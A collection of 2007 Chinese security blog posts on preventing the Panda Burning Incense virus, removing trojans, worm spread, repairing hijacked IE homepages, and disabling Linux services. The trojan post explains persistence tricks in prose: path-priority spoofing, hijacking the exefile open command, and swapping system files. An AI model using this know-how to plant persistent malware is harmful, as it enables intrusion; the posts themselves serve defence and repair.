预防为主 防范“熊猫烧香”病毒的方法
[ 2007-03-25 02:39:01 | 作者: sun ]
“熊猫烧香”病毒不但可以对用户系统进行破坏,导致大量应用软件无法使用,而且还可删除扩展名为gho的所有文件,造成用户的系统备份文件丢失,从而无法进行系统恢复;同时该病毒还能终止大量反病毒软件进程,大大降低用户系统的安全性。
这几天“熊猫烧香”的变种更是表象异常活跃,近半数的网民深受其害。对于已经感染“熊猫烧香”病毒的用户,建议参考《熊猫烧香病毒专杀及手动修复方案》,下载其中的专钉工具进行查杀,也可手动查杀。技术专家还总结了以下预防措施,帮你远离“熊猫烧香”病毒的骚扰。
1、立即检查本机administrator组成员口令,一定放弃简单口令甚至空口令,安全的口令是字母数字特殊字符的组合,自己记得住,别让病毒猜到就行。
修改方法:右键单击“我的电脑”,选择管理,浏览到本地用户和组,在右边的窗中,选择具备管理员权限的用户名,单击右键,选择设置密码,输入新密码就行。
2.、利用组策略,关闭所有驱动器的自动播放功能。
步骤:单击开始,运行,输入gpedit.msc,打开组策略编辑器,浏览到计算机配置,管理模板,系统,在右边的窗格中选择关闭自动播放,该配置缺省是未配置,在下拉框中选择所有驱动器,再选取已启用,确定后关闭。最后,在开始,运行中输入gpupdate,确定后,该策略就生效了。
3、修改文件夹选项,以查看不明文件的真实属性,避免无意双击骗子程序中毒。
步骤:打开资源管理器(按windows徽标键+E),点工具菜单下文件夹选项,再点查看,在高级设置中,选择查看所有文件,取消隐藏受保护的操作系统文件,取消隐藏文件扩展名。
4、时刻保持操作系统获得最新的安全更新,建议用毒霸的漏洞扫描功能。
5、启用windows防火墙保护本地计算机。
对于已经感染“熊猫烧香”病毒的用户,建议参考《熊猫烧香病毒专杀及手动修复方案》,下载其中的专钉工具进行查杀,也可手动查杀。
对于未感染的用户,专家建议,不要登陆不良网站,及时下载微软公布的最新补丁,来避免病毒利用漏洞袭击用户的电脑,同时上网时应采用“杀毒软件+防火墙”的立体防御体系。
这几天“熊猫烧香”的变种更是表象异常活跃,近半数的网民深受其害。对于已经感染“熊猫烧香”病毒的用户,建议参考《熊猫烧香病毒专杀及手动修复方案》,下载其中的专钉工具进行查杀,也可手动查杀。技术专家还总结了以下预防措施,帮你远离“熊猫烧香”病毒的骚扰。
1、立即检查本机administrator组成员口令,一定放弃简单口令甚至空口令,安全的口令是字母数字特殊字符的组合,自己记得住,别让病毒猜到就行。
修改方法:右键单击“我的电脑”,选择管理,浏览到本地用户和组,在右边的窗中,选择具备管理员权限的用户名,单击右键,选择设置密码,输入新密码就行。
2.、利用组策略,关闭所有驱动器的自动播放功能。
步骤:单击开始,运行,输入gpedit.msc,打开组策略编辑器,浏览到计算机配置,管理模板,系统,在右边的窗格中选择关闭自动播放,该配置缺省是未配置,在下拉框中选择所有驱动器,再选取已启用,确定后关闭。最后,在开始,运行中输入gpupdate,确定后,该策略就生效了。
3、修改文件夹选项,以查看不明文件的真实属性,避免无意双击骗子程序中毒。
步骤:打开资源管理器(按windows徽标键+E),点工具菜单下文件夹选项,再点查看,在高级设置中,选择查看所有文件,取消隐藏受保护的操作系统文件,取消隐藏文件扩展名。
4、时刻保持操作系统获得最新的安全更新,建议用毒霸的漏洞扫描功能。
5、启用windows防火墙保护本地计算机。
对于已经感染“熊猫烧香”病毒的用户,建议参考《熊猫烧香病毒专杀及手动修复方案》,下载其中的专钉工具进行查杀,也可手动查杀。
对于未感染的用户,专家建议,不要登陆不良网站,及时下载微软公布的最新补丁,来避免病毒利用漏洞袭击用户的电脑,同时上网时应采用“杀毒软件+防火墙”的立体防御体系。
焚烧系统里的木马 彻底教你防杀木马
[ 2007-03-25 02:38:48 | 作者: sun ]
“我想,我们应该烧掉这个东西。”3000多年前,面对希腊人突然遗留在战场废墟上的这只巨大的木马,特洛伊王国的小王子帕里斯对他的父王说。因为他有一种不安的感觉,这个突然出现的物体会带来厄运。然而没有人听他的话,整个军队固执的把这只庞然大物作为战利品运回了城里。几天后的夜里,藏在木马里的希腊士兵从内部打开了特洛伊那坚不可摧的城门——特洛伊因此沦陷。如果帕里斯仍有灵魂存在的话,他也许会苦苦思索这个问题:如果当初我坚持把这个带来厄运的东西焚烧掉,那么特洛伊将会是怎样一种结局呢?请允许我改编情感作家姜汤的一句话:“二十一世纪的网络是木马横行的世界,人类在解决病毒战争之后,最大的困惑就是木马后门的攻防难题。”众所周知,木马(Trojan,或称后门“BackDoor”)是一种危害巨大的程序,它们让被害的计算机对着未知的入侵者敞开了大门,使得受害者的系统和数据暴露在混乱的网络世界里。和病毒一样,木马也经历了好几代的演变,使得它越藏越深,成为另一种难以揪除的寄生虫。——如果,我们趁早把木马焚烧掉呢?
认识木马
简言之,信息领域的木马,就是一种能潜伏在受害者计算机里,并且秘密开放一个甚至多个数据传输通道的远程控制程序,它由两部分组成:客户端(Client)和服务器端(Server),客户端也称为控制端。木马的传播感染其实指的就是服务器端,入侵者必须通过各种手段把服务器端程序传送给受害者运行,才能达到木马传播的目的。当服务器端被受害者计算机执行时,便将自己复制到系统目录,并把运行代码加入系统启动时会自动调用的区域里,借以达到跟随系统启动而运行,这一区域通常称为“启动项”。当木马完成这部分操作后,便进入潜伏期——偷偷开放系统端口,等待入侵者连接。到此为止,木马还只处于被特洛伊的市民拉入城内的阶段,是不会进行破坏行动的。当入侵者使用客户端连接上木马服务器端开放的端口后,特洛伊的城门就被打开了,到这里,木马的噩梦才正式开始……所以,在木马屠城的军号吹响之前,如果帕里斯及时点燃了这只庞然大物,特洛伊也许就不会消失——至少,它不会是被一只木马给毁掉的。
阻止木马进城——不同时期的木马形态与相应的系统保护
特洛伊被木马计的前提是因为特洛伊人自己把藏有希腊士兵的木马运进了城内,让木马计得以成功实施,换个角度,如果当初特洛伊人任凭木马搁在海滩上发霉发臭,或者直接焚烧了这只装载着厄运的东西,那么“特洛伊木马”将会被作为与“马奇诺防线”同样性质的著名无效战略而被列入史册,而且后世可能再也不会采用这种攻击手段。但是希腊人的木马计成功了,正如现在数以千计的现代网络木马计成功了一样。现代的希腊人——入侵者积极使用各种手段让现代的特洛伊人——受害者把那只木马程序高高兴兴的领回家去。早期的防病毒思想并不盛行,那时候的网民也比较单纯,使用网络防火墙的人也只有少数,所以那时候的入侵者可以算是幸福的,他们只需要一点简单的社会工程学手段就能把木马程序传输给对方执行,这一时期的木马种植手段(如今的普遍称谓为“下马”)基本上不需要牵涉到技术,也许唯一需要的技术就是如何配置和使用一个木马,因为那时候木马也还是个新产物而已。那时候的网民,只能依靠自己的判断和技术,才能免受或摆脱木马之害。因此,当木马技术刚在国内开始的时候,任意一个IP段都有可能存在超过40%的受害计算机开放着大门等待入侵者进攻,可以毫不夸张的说,那时候是木马的第一黄金时期,唯一美中不足的制约条件就是当时的网络速度普遍太慢了。随着时间的流逝,木马技术发展日益成熟,但网民的安全意识也普遍提高,更出现了初期的病毒防火墙概念,这个时期的入侵者必须掌握更高级的社会工程学手段和初期的入侵技术才能让对方受害了,这时期的木马虽然隐蔽性有了相对提高,但仍然是基于客户端寻找连接服务器端的模式。由于出现了病毒防火墙,网民判断和查杀木马的效率大大提高,而且大部分人也知道“人心不古”了,不再轻易接收陌生人给的程序,使得木马不再像上时期那样肆无忌弹的横行,但是因为病毒防火墙是个新兴产物,仍然有相对多的人没有安装使用,以至于许多老旧的木马依然可以横行无忌。再后来,随着网络防火墙技术诞生和病毒防火墙技术的成熟,木马作者被迫紧跟着防病毒厂商的脚步更新他们的作品以避免马儿过早“殉职”,同时由于网络防火墙技术的出现,让计算机与网络之间不再直接,尤其是网络防火墙实现的“拦截外部数据连接请求”与“审核内部程序访问网络请求”的策略,导致大部分木马纷纷失效,这时期的木马逐渐分裂成两个派别:一种依然采用客户端连接服务器端的方式,只是改为了其他传输途径,如E-MAIL、FTP等,或者在内部除掉网络防火墙,以便自己畅通无阻;另一种则改变了入侵的思维,把“客户端连接服务器端”变为“服务器端连接客户端”,再加上一点社会工程学技术,从而突破了网络防火墙的限制,也因此诞生了一种新的木马技术——“反弹型”木马。这一时期里,入侵者与受害者之间的战争终于提升到技术级别,若想保护自己,除了安装网络防火墙和病毒防火墙,以及接触网络攻防技术以外别无他法,这个“基础互动”一直保持到今天的XP时代。到了XP时代,网络速度有了质的飞跃,黑客攻防战更是越来越多的浮上水面,因为系统变了,一个专门为网络应用而诞生的操作系统,必定会存在与网络有关的缺陷。没错,WinXP相对于Win9x的弱点就是它的网络漏洞太多了,无论是利用MIME漏洞传播的信件木马,还是通过LSASS溢出而放下的木马,都能在XP系统上分到一块肉。你也许会说,Win9x同样有许多漏洞,但是为什么它没有XP的烦恼?这是因为Win9x的网络功能太弱了,几乎没有什么系统组件需要依靠网络运行!所以现在的用户,除了使用网络防火墙和病毒防火墙把自己包裹得严严实实以外,还要三天两头去微软的系统更新站点安装各种漏洞修复程序……
别让士兵们下马!——防止木马启动
话说藏在木马里的希腊士兵入城以后,并没有急着下马屠城,而是待到夜深人静之时,才出来打开了牢固的城门,为特洛伊的毁灭奏响了哀歌。而计算机内部没有人类社会的地理和时间关系,即使你的硬盘里现在就存放着100个木马程序,它们也比特洛伊海滩上那只大木马的处境好不到哪里去,因为对于操作系统来说,任何有害程序只要没有运行,它就可以等同于那些未能下马的士兵,一律视为无害。要让系统变成特洛伊城的黑夜,唯一的方法只能是启动木马的服务器端,而启动木马的最简单途径,就是通过“启动项”加载运行。任何操作系统都会在启动时自动运行一些程序,用以初始化系统环境或额外功能等,这些被允许跟随系统启动而运行的程序被放置在专门的区域里供系统启动时加载运行,这些区域就是“启动项”,不同的系统提供的“启动项”数量也不同,对于Win9x来说,它提供了至少5个“启动项”:DOS环境下的Autoexec.bat、Config.sys,Windows环境下的“启动”程序组、注册表的2个Run项和1个RunServices项,到了2000/XP系统时代,DOS环境被取消,却新增了一种称之为“服务”的启动区域,这么多的启动入口,木马自然不会放过,于是我们经常在一些计算机的启动项里发现陌生的程序名,这时候就只能交由你或者病毒防火墙来判断了,毕竟系统自身会在这里放置一些必要的初始化程序,还有一些正常工具,包括病毒防火墙和网络防火墙,它们也必须通过启动项来实现跟随系统启动。此外还有一种不需要通过启动项也能达到跟随系统启动的卑劣手法,那就是“系统路径遍历优先级欺骗”,Windows系统搜寻一个不带路径信息的文件时遵循一种“从外到里”的规则,它会由系统所在盘符的根目录开始向系统目录深处递进查找,而不是精确定位的,这就意味着,如果有两个同样名称的文件分别放在C:\和C:\Windows下,Windows会执行C:\下的程序,而不是C:\Windows下的。这样的搜寻逻辑就给入侵者提供了一个机会,木马可以把自己改为系统启动时必定会调用的某个文件名,并复制到比原文件要浅一级以上的目录里,Windows就会想当然的执行了木马程序,系统的噩梦就此拉开序幕。这种手法常被用于“internat.exe”,因为无论哪个Windows版本的启动项里,它都是没有设置路径的。要提防这种占用启动项而做到自动运行的木马,用户必须了解自己机器里所有正常的启动项信息,才能知道木马有没有混进来。至于利用系统路径漏洞的木马,则只能靠用户自己的细心了。为什么它无法根除?——文件并联型木马的查杀某些用户经常会很郁闷,自己明明已经删除了木马文件和相应的启动项,可是不知道什么时候它自己又原封不动的回来了,这还不算,更悲惨的是有时候杀掉某个木马后,系统也出了故障:所有应用程序都打不开了。这时候,如果用户对计算机技术的了解仅限于使用杀毒软件,那可只能哭哭啼啼的重装系统了!为什么会这样?难道这种木马还恶意修改了系统核心?其实答案很简单,因为这种木马修改了应用
程序(EXE文件)的并联方式。
什么是“并联方式”呢?在Windows系统里,文件的打开操作是通过注册表内相应键值指定的应用程序来执行的,这个部分位于注册表的“HKEY_CLASSES_ROOT”主键内,当系统收到一个文件名请求时,会以它的后缀名为依据在这里识别文件类型,进而调用相应的程序打开。而应用程序自身也被视为一个文件,它也属于一种文件类型,同样可以用其他方式开启,只不过Windows设置它的调用程序为“"%1" %*”,让系统内核理解为“可执行请求”,它就会为使用这种打开方式的文件创建进程,最终文件就被加载执行了,如果有另外的程序更改了这个键值,Windows就会调用那个指定的文件来开启它。一些木马程序把EXE后缀名对应的exefile类型的“打开方式”改成了“木马程序 "%1" %*”,运行程序时系统就会先为“木马程序”创建进程,把紧跟着的文件名作为参数传递给它执行,于是在我们看来程序被正常启动了。因为木马程序被作为所有EXE文件的调用程序,使得它可以长期驻留内存,每次都能恢复自身文件,所以在一般用户看来,这个木马就做到了“永生不死”。然而一旦木马程序被删除,Windows就会找不到相应的调用程序,于是正常程序就无法执行了,这就是所谓的“所有程序都无法运行”的情况来源,并不是木马更改了系统核心,更没必要因此重装整个系统。根除这种木马的最简单方法只需要查看EXE文件的打开方式被指向了什么程序,立即停止这个程序的进程,如果它还产生了其他木马文件的话,也一起停止,然后在保持注册表编辑器开启着的情况下(否则你的所有程序都会打不开了)删除掉所有木马文件,把exefile的“打开方式”项(HKEY_CLASSES_ROOT\exefile\shell\open\command)改回原来的“”%1” %*”即可。
如果删除木马前忘记把并联方式改回来,就会发现程序打不开了,这时候不要着急,如果你是Win9x用户,请使用“外壳替换大法”:重启后按F8进入启动菜单选择MS-DOS模式,把Explorer.exe随便改个名字,再把REGEDIT.EXE改名为Explorer.exe,再次重启后会发现进入Windows只剩下一个注册表编辑器了,赶快把并联方式改回来吧!重启后别忘记恢复以前的Explorer.exe。对于Win2000/XP用户而言,这个操作更简单了,只要在开机时按F8进入启动菜单,选“命令提示符的安全模式”,系统就会自动调用命令提示符界面作为外壳,直接在里面输入REGEDIT即可打开注册表编辑器!XP用户甚至不需要重启,直接在“打开方式”里浏览到CMD.EXE就能打开“命令提示符”界面运行注册表编辑器REGEDIT.EXE了。
偷梁换柱——追回被盗的系统文件
除了添加自己到启动项、路径欺骗和更改文件并联以外,一般的木马还有一种计俩可以使用,那就是替换系统文件。由于如今的操作系统都是由许多文件共同构造的,并不是所有用户都能明白系统文件夹里每个文件的作用,这就给了木马可乘之机,它们盯上了系统里那些不会危害到系统正常运行而又经常会被调用的程序文件,像输入法指示程序internat.exe、让动态链接库可以像程序一样运行的rundll32.exe等。木马先把系统原来的文件改名成只有它们自己知道的一个偏僻文件名,再把自己改名成那个被替换的文件,这样就完成了隐藏极深的感染工作,从此只要系统需要调用那个被替换的程序进行工作,木马就能继续驻留内存了。那么文件被替换会不会导致系统异常呢?只要木马没有被删除,就不会造成系统异常,因为木马在作为原来的程序而被系统启动时,会获得一个由系统传递来的运行参数,这就是系统要求该程序工作的关键所在,木马会直接把这个参数传递给被改名的程序执行,像接力比赛那样完成数据操作,这样在系统看来就是命令被正常执行了,自然不会出现异常。但是也因为这样的特性导致木马被查杀后,系统的某些命令无法传递到本该执行操作的程序中,反而让系统出错了。
要修复它其实很简单,只要记住这个木马的文件名,在删除它之后再从系统光盘复制一个“原配”文件就可以了,如果没有系统光盘,就必须通过工具追踪木马传递参数的目标程序名,再把它改回来。
结束语
木马的发展促进了安全技术的提高,而安全技术的提高又迫使木马必须往更高的级别发展,到现在木马已经形成了多个派系的共存,侦测它们的方法也不能再像以前那样简单了,例如检测异常端口的方法对于反弹木马而言是无效的,它并不在本机开放端口;就算防火墙能阻止内部未授权程序访问网络,但那只能针对TCP/UDP协议的木马,别忘记了还有ICMP后门的存在,防火墙通常不会阻止这类报文的。虽然ICMP协议的数据报文能完成的事情相对较少,但是对于一般的命令控制,它已经足够了……
蠕虫是如何通过Email、漏洞、文件共享、P2P传播?
[ 2007-03-25 02:38:34 | 作者: sun ]
蠕虫传播渠道:
1、Email
这似乎是网络中永恒的主题。简简单单的操作,就让IT世界大乱。
基本传播流程是:在宿主机器上搜集Email地址,然后向这些地址发送自身。这个过程其实很简单,病毒作者通常考虑最多的是怎样隐藏,怎样感染,怎样构造有效的Social Engineer,而不是怎样通过网络传播。这让我想起了DOS时代的病毒,其实DOS就那么点东西,但病毒考虑的不是怎样利用DOS进行感染,而是怎样加密,反跟踪。
2、Web server 漏洞
这种蠕虫,与其说是计算机病毒,倒不如说是网络漏洞的附庸。
基本传播流程是:在宿主机器上扫描网络(一般是随机产生IP),然后对每个IP进行测试,如果发现该IP上有活着的有漏洞的Server,就利用漏洞把自身传播到该IP的机器上。
这个过程要比发送mail复杂的多,但编写者重点放在怎样发包,怎样构造ShellCode。
值得一提的是,这三种颇具威力的蠕虫,都传说是出自中国人之手。
3、LAN,文件共享
这种感染方式,最简单不过了,原理上,可以把共享的磁盘当作本地磁盘一样,可以对之Copy病毒自身,或者感染其上的文件。值得注意的是,随着Internet上的文件共享的增加,现在有越来越多的蠕虫通过文件共享传播。
4、感染本地文件
由于蠕虫感染文件的复杂性,一般的蠕虫作者往往忽略了感染本地文件,结果在被感染的系统上只有孤零零的一个病毒程序。如果大量感染本地文件,我们普通用户的清除病毒工作难度将加大。
1、Email
这似乎是网络中永恒的主题。简简单单的操作,就让IT世界大乱。
基本传播流程是:在宿主机器上搜集Email地址,然后向这些地址发送自身。这个过程其实很简单,病毒作者通常考虑最多的是怎样隐藏,怎样感染,怎样构造有效的Social Engineer,而不是怎样通过网络传播。这让我想起了DOS时代的病毒,其实DOS就那么点东西,但病毒考虑的不是怎样利用DOS进行感染,而是怎样加密,反跟踪。
2、Web server 漏洞
这种蠕虫,与其说是计算机病毒,倒不如说是网络漏洞的附庸。
基本传播流程是:在宿主机器上扫描网络(一般是随机产生IP),然后对每个IP进行测试,如果发现该IP上有活着的有漏洞的Server,就利用漏洞把自身传播到该IP的机器上。
这个过程要比发送mail复杂的多,但编写者重点放在怎样发包,怎样构造ShellCode。
值得一提的是,这三种颇具威力的蠕虫,都传说是出自中国人之手。
3、LAN,文件共享
这种感染方式,最简单不过了,原理上,可以把共享的磁盘当作本地磁盘一样,可以对之Copy病毒自身,或者感染其上的文件。值得注意的是,随着Internet上的文件共享的增加,现在有越来越多的蠕虫通过文件共享传播。
4、感染本地文件
由于蠕虫感染文件的复杂性,一般的蠕虫作者往往忽略了感染本地文件,结果在被感染的系统上只有孤零零的一个病毒程序。如果大量感染本地文件,我们普通用户的清除病毒工作难度将加大。
系统安全之解决IE被恶意修改方法总结
[ 2007-03-25 02:38:17 | 作者: sun ]
【编者按:文中出于安全原因,将“http”替换为“hxxp”!】
经常听到别人说自己电脑的IE被恶意修改了,我也曾经经常遇到过,做事做的好好,突然蹦出个网页实在是郁闷到极点啊。后来我就在网上乱搜一通,简单总结了下他们的方法特在此版块发给新手门,尤其是玩黑的!大概有下面几种解决方法吧。
一、修改IE工具栏
在一般情况下,IE首页的修改可以通过IE工具栏里的“工具”-“Internet选项”-“常规”-“主页”功能模块来实现。在弹出的窗口里,用户只要在“可更改主页”的地址栏中输入自己经常使用的网址然后再点击下面的“使用当前页”按钮就可以将其设为自己的IE首页了;如果是点击了“使用默认页”则一般会使IE首页调整为微软中国公司的主页;至于“使用空白页”选项则是让IE首页显示为“about:blank”字样的空白页,这样便于输入网址。
二、修改注册表
很多情况下,由于受了恶意程序的控制,或中了木马病毒,上面的方法根本不奏效,甚至有时候,“可更改主页”的地址栏都变成了灰色,无法再进行调整;有时候,即使你把网址改回来了,再开启IE浏览器,那个恶意网址又跑回来了。 实在是头大~~如果这样的话,最通常的办法就是修改注册表文件。我们首先启动Windows的注册表编辑器,具体方法是点击Windows界面左下角的“开始”按钮,再选择“运行”,在弹出的对话框中输入“regedit”就可以进入注册表编辑器了。IE首页的注册表文件是放在:
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page
下的,而这个子键的键值就是IE首页的网址。以笔者的电脑为例,键值是hxxp://www.hao123.com,它是可以修改的,用户可以改为自己常用的网址,或是改为“about: blank”,即空白页。这样,你重启IE就可以看到效果了。如果这种方法也不能奏效,那就是因为一些病毒或是流氓软件在你的电脑里面安装了一个自运行程序,就算你通过修改注册表恢复了IE首页,但是你一重新启动电脑,这个程序就会自动运行再次篡改。这时候,我们需要对注册表文件进行更多的修改,运行“regedit”,然后依次展开
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run
主键,然后将其下的不知明的启动子键值删除,然后对应删除其不知明的自运行程序文件,最后从IE选项中重新设置起始页就好了。除了上面的情况外,有些IE被改了首页后,即使设置了“使用默认页”仍然无效,这是因为IE起始页的默认页也被篡改啦。对于这种情况,我们同样可以通过修改注册表来解决,运行“regedit”展开:
HKEY_LOCAL_MACHINE\Software\Microsoft\InternetExplorer\Main\Default_Page_URL
子键,然后将“Default_Page_UR”子键的键值中的那些篡改网站的网址改掉就好了,或者设置为IE的默认值。
三、使用IE修复软件
虽然修改注册表的方法十分有效,但是对于一般的电脑用户来说较为专业,而且编辑过程中也涉及到了比较多的英语。因此,我们在这里介绍大家使用一些专门的修复工具。一般来说,IE修复工具有两大类。一是商业机构提供的辅助性工具,如瑞星注册表修复工具、3721的上网助手中附带的IE修复专家、超级兔子中的IE修复工具等等,这些软件大多捆绑在商业软件或是工具软件中,有些还需要付费才能够使用。其特点是,功能强大,建议经济实力较强的用户使用。其中瑞星的注册表修复工具是可以免费单独下载的,具体的使用办法可以参考这些软件的帮助文件。还有一点就是看系统启动项在运行里输入msconfig 查看启动项,你在这里可以查到每次开机时访问的网站URL地址,还有一种是在启动栏中有一个连接到本机的连接,该连接有可能是连接到一个*.js的文件,查找时要细心,左边的选勾去掉后,再按照路径把*.JS文件删除,然后重新启动系统就可以了。
经常听到别人说自己电脑的IE被恶意修改了,我也曾经经常遇到过,做事做的好好,突然蹦出个网页实在是郁闷到极点啊。后来我就在网上乱搜一通,简单总结了下他们的方法特在此版块发给新手门,尤其是玩黑的!大概有下面几种解决方法吧。
一、修改IE工具栏
在一般情况下,IE首页的修改可以通过IE工具栏里的“工具”-“Internet选项”-“常规”-“主页”功能模块来实现。在弹出的窗口里,用户只要在“可更改主页”的地址栏中输入自己经常使用的网址然后再点击下面的“使用当前页”按钮就可以将其设为自己的IE首页了;如果是点击了“使用默认页”则一般会使IE首页调整为微软中国公司的主页;至于“使用空白页”选项则是让IE首页显示为“about:blank”字样的空白页,这样便于输入网址。
二、修改注册表
很多情况下,由于受了恶意程序的控制,或中了木马病毒,上面的方法根本不奏效,甚至有时候,“可更改主页”的地址栏都变成了灰色,无法再进行调整;有时候,即使你把网址改回来了,再开启IE浏览器,那个恶意网址又跑回来了。 实在是头大~~如果这样的话,最通常的办法就是修改注册表文件。我们首先启动Windows的注册表编辑器,具体方法是点击Windows界面左下角的“开始”按钮,再选择“运行”,在弹出的对话框中输入“regedit”就可以进入注册表编辑器了。IE首页的注册表文件是放在:
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page
下的,而这个子键的键值就是IE首页的网址。以笔者的电脑为例,键值是hxxp://www.hao123.com,它是可以修改的,用户可以改为自己常用的网址,或是改为“about: blank”,即空白页。这样,你重启IE就可以看到效果了。如果这种方法也不能奏效,那就是因为一些病毒或是流氓软件在你的电脑里面安装了一个自运行程序,就算你通过修改注册表恢复了IE首页,但是你一重新启动电脑,这个程序就会自动运行再次篡改。这时候,我们需要对注册表文件进行更多的修改,运行“regedit”,然后依次展开
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run
主键,然后将其下的不知明的启动子键值删除,然后对应删除其不知明的自运行程序文件,最后从IE选项中重新设置起始页就好了。除了上面的情况外,有些IE被改了首页后,即使设置了“使用默认页”仍然无效,这是因为IE起始页的默认页也被篡改啦。对于这种情况,我们同样可以通过修改注册表来解决,运行“regedit”展开:
HKEY_LOCAL_MACHINE\Software\Microsoft\InternetExplorer\Main\Default_Page_URL
子键,然后将“Default_Page_UR”子键的键值中的那些篡改网站的网址改掉就好了,或者设置为IE的默认值。
三、使用IE修复软件
虽然修改注册表的方法十分有效,但是对于一般的电脑用户来说较为专业,而且编辑过程中也涉及到了比较多的英语。因此,我们在这里介绍大家使用一些专门的修复工具。一般来说,IE修复工具有两大类。一是商业机构提供的辅助性工具,如瑞星注册表修复工具、3721的上网助手中附带的IE修复专家、超级兔子中的IE修复工具等等,这些软件大多捆绑在商业软件或是工具软件中,有些还需要付费才能够使用。其特点是,功能强大,建议经济实力较强的用户使用。其中瑞星的注册表修复工具是可以免费单独下载的,具体的使用办法可以参考这些软件的帮助文件。还有一点就是看系统启动项在运行里输入msconfig 查看启动项,你在这里可以查到每次开机时访问的网站URL地址,还有一种是在启动栏中有一个连接到本机的连接,该连接有可能是连接到一个*.js的文件,查找时要细心,左边的选勾去掉后,再按照路径把*.JS文件删除,然后重新启动系统就可以了。
教你配置Linux操作系统安全管理服务
[ 2007-03-25 02:38:01 | 作者: sun ]
任何计算机安全措施的一个重要方面是维持实际控制服务的运行。本文向你展示了在Linux操作系统的PC机上如何配置安全服务管理。
任何计算机安全措施的一个重要方面是维持实际控制服务的运行,让不必要的网络服务接受请求将提高系统的安全风险。即使这些网络服务对于服务器的某些功能是必要的也需要仔细管理,并且对其进行配置最小化不受欢迎的入侵和登录的可能性。
为Linux系统配置安全性时,使用/etc/inittab文件、runlevels和一两个服务管理“superdaemons”如inetd或xinetd直接管理服务。
inittab
/etc/inittab文件用于系统的初始化过程启动系统服务。在一个配置好的系统上,虽然它一般都不会包括很多服务,但是在某些Linux系统的默认安装中会加载很多其他服务。/etc/inittab文件内容有些模糊,它的重要之处在于让服务管理变得相对简单。
首先,可不要通过/etc/inittab文件方式向系统启动项中添加服务。
第二,不要移除/etc/inittab文件中第一个冒号之前其第一个字段是单精度型的数字,或整个登录服务的前面部分。以单精度数字开头的行可以打开TTY控制台,所有服务在它们打开之前都一一列出,甚至列出其更重要的功能。也许有些例外情况,在不改动它时是很安全的,尤其如果不确定的情况下请不要改动。
第三,/etc/inittab在导入和runlevel选择的时候用于过程管理。一般不用于正常的系统操作。
第四,在导入时由rc系统开始添加步骤,而不是init系统。如果看看/etc/inittab的内容,将会注意到登录以rc0到rc6这样的字符结束。这是初始化系统如何处理runlevels的说明。
runlevels
基于Linux操作系统的运转可以通过runlevels进行管理。不同的runlevels被定义成有不同的行为,就像Windows操作系统一样,它有正常操作模式、安全模式、在某些情况下还有DOS模式。
Runlevel 0用于关闭系统,如果软电源设置恰当,它能关闭系统电源。
Runlevel 1是单用户无网络的模式,它用于低水平的故障修复和管理操作。
Runlevel 2到Runlevel 5正常系统操作的多用户模式。Runlevel2和3是命令行模式,3有网络连接而2没有网络连接。Runlevel 5用于启动X Windows提供图形用户接口。
Runlevel 6用于系统重启,当整个init系统甚至bootloader 需要重启时采用它。
其他runlevels由系统管理员进行定义,但是“传统”UNIX系统没有此功能。这种情况下,他们不能被定义也不能被使用。
在shell处,可以输入runlevel命令找到以前的renlevel和当前runlevel。如果没有更改系统 runlevel ,命令的输出结果为大写N后面跟runlevel的数字,这里的N表示没有前runlevel,如果要更改runlevel,可以使用init命令,后面跟想要使用到的runlevel的数字。例如,输入init 6表示重启系统,或init 1 进入单用户模式。
配置runlevel的过程每一版本的情况都不同。例如,在Debian GNU/Linux系统中,位于/etc/init.d的服务脚本有来自/etc/rcN.d的路径与它们进行链接,这里的N表示需要配置的runlevel数字。以字母K开头的symlinks指示在进入runlevel时被杀死的程序,而以字母 S开头的symlinks指示在进入runlevel时被启动的程序。字母后面的数字值越大,从1到99,表示启动或杀死的时间愈靠后。
大多数基于RPM的版本都采用RedHat所用到的rc系统。比起基于Debian的系统,这一系统使用更复杂的路径结构,并且不同的基于RPM的系统之间也有很大的不同。说明书上提供了更多的关于管理runlevel的信息。
inetd
一个用于Linux后台程序管理的“superdaemon”是众所周知的inetd,它是个用于服务管理的命令行工具。终止服务很简单:首先,作为根用户用文本编辑器打开/etc/inetd.conf文件。接下来,找到文件中需要终止的服务。最后,在服务所在行的最前面添加#符号(其他还有“尖顶符”和“英镑符”),如下所示。“注释掉”这一行,因此inted以后都不会启动这一服务。
编辑之前服务登录可能是下面这样:
ident stream tcp wait identd /usr/sbin/identd identd
停止之后,服务登录变成下面这个样子:
# ident stream tcp wait identd /usr/sbin/identd identd
如果正在卸载被登录参考的后台程序,可以删除文件中的某些行——是否通过包管理器进行卸载或删除执行文件卸载(对于上面的例子是/usr/sbin/identd文件)。
编辑/etc/inetd.conf文件之后,保存它,inetd以后则可以使用更改。编辑和保存一旦完成,可以在根部输入下面的命令使更改即时生效:
kill -HUP `pidofinetd`
使用修改(保存)后的配置文件会导致inetd重启。
xinetd
另外一个称为xinetd的superdaemon比inetd更新颖更复杂,能完成更多的功能。但是对于关闭服务来说,他们的使用方法相似。
使用xinetd时,必须在/etc/xinetd.conf文件中添加一行关闭服务。如果只想简单的删除服务,必须删除好几行代码而不是一行。找到想要关闭的服务所在的那一块,在块的后面添加“disable = yes”这一行,或者删除整个块。例如,如果关闭telnet服务,需要像下面这样做。(这里的省略号代表了块的其他内容)
service telnet
{
. . .
disable = yes
}
在某些系统中,对于某些服务,服务配置并不在/etc/xinetd.conf文件中。例如,像telnet这样的服务有可能在文件/etc/xinetd.d/telnet中,改变其服务配置方法与它在/etc/xinetd.conf文件中的方法是一样的。
编辑保存了/etc/xinetd.conf文件后或者更改了服务文件后,可以输入下面的命令让修改即时生效:
kill -USR2 `pidofxinetd`
这将通知xinetd程序,使用更改后的配置。
Xinetd除了关闭或移除服务配置之外,还可以用于控制远程主机登录服务。这将通过几个机制完成:
可以为服务指定一个允许的主机。例如:可以通过在服务配置文件中添加only_from = 192.168.0.101这一行限制主机登录telnet服务。尽管使用了词语“only”,但是它只能限制主机的数目,而不仅仅只一台主机。也可以使用部分地址指定完整的网络。例如:可以使用“only_from = 192.168.0.to”表示本地Class C的任何主机都能访问这个服务。
可以在配置文件中为某个服务指定禁止的主机。例如:可以在配置文件中添加“no_access = 192.168.0.102”这一行禁止这个主机远程访问telnet服务。这个也可以使用多次而且也可以使用部分地址指定多个主机。万一某个主机满足only_from和no_access两个限制,则会权衡确定其访问权限。如果xinetd不能确定哪个限制能被应用,则系统默认更安全的选项——服务不会开启。
超越服务管理
